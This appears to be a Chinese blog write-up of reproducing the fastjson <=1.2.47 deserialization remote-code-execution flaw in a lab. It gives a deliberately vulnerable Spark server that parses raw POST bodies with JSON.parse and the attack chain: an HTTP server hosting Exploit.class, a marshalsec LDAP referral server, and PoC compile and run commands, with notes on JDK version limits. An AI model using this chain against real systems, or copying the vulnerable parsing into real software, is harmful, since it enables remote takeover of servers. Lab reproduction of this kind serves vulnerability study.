这两天爆出了 fastjson 的老洞,复现简单记录一下。

首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。

package cn.hacktech.fastjsonserver;

import com.alibaba.fastjson.JSON;
import static spark.Spark.*; public class Main {
public static void main(String[] args) {
get("/hello", (req, res) -> "spark server start success");
post("/test", (req, res) -> {
String payload = req.body();
JSON.parse(payload);
return "json payload:" + payload;
});
}
}

编译出来后,启动这个 jar,在 /test 这个 post 点即可 post json payload。

然后这里分两类:

  1. 如果只是想检测漏洞是否存在,可以使用 dnslog 去检测
  2. 利用的话,需要自己起一个恶意的 ldap 或者 rmi 服务

本机需要起一个 LDAP 服务和 http 服务

poc-->LDAP-->http

poc 会通过上面的路径去请求你的 http 服务上面的对应的 class 文件然后去解析执行这个 class

启动 LDAP 用的 marshalsec,会比较方便。

  1. 在本目录下启动 http server 在 80 端口
python -m http.server 80
  1. 启动 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit

后面的 Exploit 是指 Exploit.class 文件

  1. 运行 PoC,它会请求 LDAP 服务,或者直接把 json payload post 到 /test
java -cp fastjson-1.2.47.jar; PoC

其中代码编译的话,直接执行 javac the.java 即可,不过 PoC.java 的编译需要引入 fastjson jar 包,运行 javac -cp ./fastjson-1.2.47.jar PoC.java

具体的细节可见代码打包文件

复现遇到一些坑

这次的这个洞是有 jdk 版本要求的。

最开始我在我本机测试通过,原因是因为它请求不到 class 的时候会去本目录下进行一个查找,也就是并没有经过 http 服务器。

所以想要复现这个漏洞的话,需要 target 主机上面的 jdk 版本有严格的要求,具体见下图

所以建议复现流程是

建议复现流程

  1. 起一个虚拟机专门用来运行我写的那个简易的 fastjsonserver,或者你可以直接在虚拟机上面执行 PoC,关键在于 target 机器的 jdk 版本。
  2. 你可以在本机起 ldap/rmi 服务以及 http 服务,或者全部在虚拟机上运行也可以,但是一般真实情况下我们是在外部构造恶意的 ldap/rmi 以及 http server,所以建议这步放到虚拟机外运行。
  3. 根据你的网络环境修改 PoC。
  4. 然后 post payload 或者运行 PoC,即可看到虚拟机上弹出了计算器。

低版本的java 8u112

链接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取码: 36mm

复现视频链接复现流程.zip

fastjson<1.2.47 RCE 漏洞复现的更多相关文章

  1. fastjson =< 1.2.47 反序列化漏洞复现

    fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...

  2. fastjson<=1.2.47反序列化漏洞复现

    0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  5. fastjson =< 1.2.47 反序列化漏洞浅析

    fastjson =< 1.2.47 反序列化漏洞浅析 iiusky 洛米唯熊 今天 文章出处: https://www.03sec.com/3240.shtmlhttps://www.secq ...

  6. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  7. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  8. CVE-2019-5475:Nexus2 yum插件RCE漏洞复现

    0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...

  9. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

随机推荐

  1. 小福bbs-冲刺日志(第六天)

    [小福bbs-冲刺日志(第六天)] 这个作业属于哪个课程 班级链接 这个作业要求在哪里 作业要求的链接 团队名称 小福bbs 这个作业的目标 后端努力完成大部分功能操作,前端UI完成大部分功能测试 作 ...

  2. Java利用FastJson一行代码转List<Map>为List<Bean>

    /** * 字符串 -> json对象.实体对象.Map.List.List<Map> */ // 字符串 -> json对象 JSONObject json = JSON.p ...

  3. 腾讯云CENTOS7安装MSSQL2017

    腾讯云CENTOS7安装MSSQL2017 mkdir -p /opt/sqlserver2017cd /opt/sqlserver2017/ 下载离线包:wget https://packages. ...

  4. file_get_contents("php://input")

    $data = file_get_contents("php://input");     php://input 是个可以访问请求的原始数据的只读流. POST 请求的情况下,最 ...

  5. make 实例 一 3463

    ######################################################################### # # Makefile used for buil ...

  6. matplotlib显示黑白灰度图像颜色设置

    对于黑白灰度图像(矩阵) 1. 默认使用伪彩色拉升 2 cmap参数为 binary,可能导致颜色反转 3. cmap = gray,same color as origin, that is, wh ...

  7. java的List中使用filter过滤出符合特定条件的元素List

    在实际开发中,经常需要把一个列表中的元素,按照特定条件过滤出来,放到一个新的列表中.本文给出了几个例子,来描述解决这个问题的方法. 我们假设有一个书的List,需要找出其中id分别是3.6.8.9的书 ...

  8. Gradle基础:11:使用Kotlin的Gradle(转)

    Gradle基础及进阶(转) https://blog.csdn.net/liumiaocn/article/category/8369185 Gradle基础:1: 简介与安装 Gradle基础:2 ...

  9. 下周文件ie 谷歌兼容性处理

    https://blog.csdn.net/u014628388/article/details/81738704 问题描述window.URL.createObjectURL()可以直接生成blob ...

  10. 我的一个PLSQL存储过程【我】 改版,加入日志表

    创建日志表sql: -- Create table create table PROCEDURE_LOG ( ID ) not null, NAME ), CODE NUMBER, MSG ), IN ...